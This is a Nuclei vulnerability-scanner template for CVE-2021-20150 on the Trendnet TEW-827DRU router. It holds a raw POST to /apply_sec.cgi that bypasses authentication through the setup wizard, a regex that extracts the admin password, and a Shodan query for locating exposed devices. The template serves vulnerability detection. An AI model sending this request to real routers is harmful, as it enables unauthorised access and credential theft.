nuclei-templates/cves/2021/CVE-2021-20150.yaml

55 lines
1.5 KiB
YAML

id: CVE-2021-20150
info:
name: Trendnet AC2600 TEW-827DRU - Credentials Disclosure
author: gy741
severity: medium
description: Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. Authentication can be bypassed and a user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page.
reference:
- https://www.tenable.com/security/research/tra-2021-54
- https://nvd.nist.gov/vuln/detail/CVE-2021-20150
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 5.30
cve-id: CVE-2021-20150
cwe-id: CWE-287
metadata:
shodan-query: http.html:"TEW-827DRU"
tags: cve,cve2021,trendnet,disclosure,router
requests:
- raw:
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- 'ftp_username'
- 'ftp_password'
- 'ftp_permission'
- 'TEW-827DRU'
condition: and
- type: word
part: header
words:
- "text/html"
extractors:
- type: regex
part: body
name: password
group: 1
regex:
- '<input name="admin_passwd" type="password" id="admin_passwd" size="20" maxlength="15" value ="(.*)" />'